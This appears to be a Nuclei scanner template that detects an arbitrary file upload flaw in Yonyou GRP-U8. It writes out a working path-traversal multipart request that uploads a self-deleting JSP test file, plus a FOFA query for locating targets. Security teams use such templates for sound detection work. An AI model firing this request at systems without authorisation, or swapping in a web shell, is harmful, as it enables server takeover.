-
Notifications
You must be signed in to change notification settings - Fork 1
/
yonyou-u8-UploadFileData-fileupload.yaml
50 lines (42 loc) · 1.89 KB
/
yonyou-u8-UploadFileData-fileupload.yaml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
id: yonyou-u8-UploadFileData-fileupload
info:
name: Yonyou U8 - Arbitrary File Upload
author: Co5mos
severity: critical
description: There is a file upload vulnerability in the GRP-U8 UploadFileData interface of UFIDA, which allows attackers to gain server privileges.
reference:
- https://peiqi.wgpsec.org/wiki/oa/%E7%94%A8%E5%8F%8BOA/%E7%94%A8%E5%8F%8B%20GRP-U8%20UploadFileData%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E.html
metadata:
max-request: 2
fofa-query: app="用友-GRP-U8"
tags: yonyou,fileupload
variables:
filename: "{{rand_base(5)}}.jsp"
http:
- raw:
- |
POST /UploadFileData?action=upload_file&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&foldername=%2e%2e%2f&filename={{filename}}&filename=1.jpg HTTP/1.1
Host: {{Hostname}}
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=59227D2C93FE3E8C2626DA625CE710F9
Content-Type: multipart/form-data
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36
------WebKitFormBoundary92pUawKc
Content-Disposition: form-data; name="myFile";filename="test.jpg"
<% out.print(1111*2222);new java.io.File(application.getRealPath(request.getServletPath())).delete(); %>
------WebKitFormBoundary92pUawKc--
- |
GET /R9iPortal/{{filename}} HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- '2468642'
- type: status
status:
- 200